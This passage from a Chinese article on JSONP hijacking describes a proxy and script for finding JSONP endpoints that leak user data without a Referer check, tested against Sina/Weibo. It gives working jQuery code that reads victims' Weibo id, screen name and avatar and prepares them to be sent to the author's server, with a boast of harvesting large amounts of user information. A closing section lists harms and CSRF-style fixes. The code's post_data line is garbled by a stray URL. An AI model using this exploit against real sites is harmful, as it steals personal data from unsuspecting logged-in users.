(2)Proxy:用于代理所有的请求,过滤出所有包含敏感信息的JSONP请求,并记录下HTTP请求;
(3)验证脚本:使用上述的HTTP请求,剔除referer字段,再次发出请求,测试返回结果中,是否仍包敏感信息,如果有敏感信息,说明这个接口就是我们要找的!
测试:
使用脚本进行测试,我以sina为例,首先需要登录sina帐号,微博或者博客都可以,然后开启浏览器代理,运行我们的脚本,最后浏览网页,就能检测出这样的JSONP接口了
文章插图
文章插图
至此发现该JSONP接口,简单写两句JS代码放到我们的网站上:
$.ajax({url: 'https://api.weibo.com/2/{隐藏了哦}',type: 'get',dataType: 'jsonp',}).done(function(json){var id = json["data"]["id"];var screen_name = json["data"]["screen_name"];var profile_image_url = json["data"]["profile_image_url"];var post_data = https://www.isolves.com/it/aq/wl/2019-07-29/"";post_data += "id=" + id + "&";post_data += "screen_name=" + screen_name + "&";post_data += "profile_image_url=" + encodeURIComponent(profile_image_url);console.log(post_data);// 发送到我的服务器上}).fail(function() {});很快就可以收到大波的用户信息了
文章插图
相关的代码放到了Github上,https://github.com/qiaofei32/jsonp_info_leak
漏洞危害JSON劫持主要能够造成的危害大概有这么几类:
1. 可能导致用户权限被盗用;
攻击者通过JSON劫持构造盗取管理员或高权限用户的脚本,一旦被访问,权限立即被盗用 。
2. 可以通过劫持对网页进行挂马;
在JSON劫持点构造引向漏洞后门木马,但访问直接利用漏洞批量挂马 。
3. 可对劫持页进行网站钓鱼;
利用JSON劫持直接导向伪装网站地址 。
4. 可做提权攻击;
5. 变种拒绝服务攻击;
劫持后将流量导向受害网站,直接发动DDoS攻击 。
解决方法其实json劫持和jsonp劫持属于CSRF( Cross-site request forgery 跨站请求伪造)的攻击范畴,所以解决的方法和解决csrf的方法一样 。
- 验证 HTTP Referer 头信息;
- 在请求中添加 csrfToken 并在后端进行验证;
推荐阅读
- 网站渗透测试 对网站域名跳转劫持漏洞分析
- 对一次 redis 未授权写入攻击的分析以及学习
- Go 语言中的动态 JSON
- 如何知道网站是否被攻击?
- DDoS攻击测试神器大合集
- 梦见动物攻击别人是什么意思 梦到动物攻击自己
- 做梦梦见猴子追着我跑 梦见被一群猴子追着跑和攻击
- WiFi攻击的N种方式
- 详解MySQL数据库JSON类型--用法、意义、内置函数
- 美国海军导弹驱逐舰 美国现役两栖攻击舰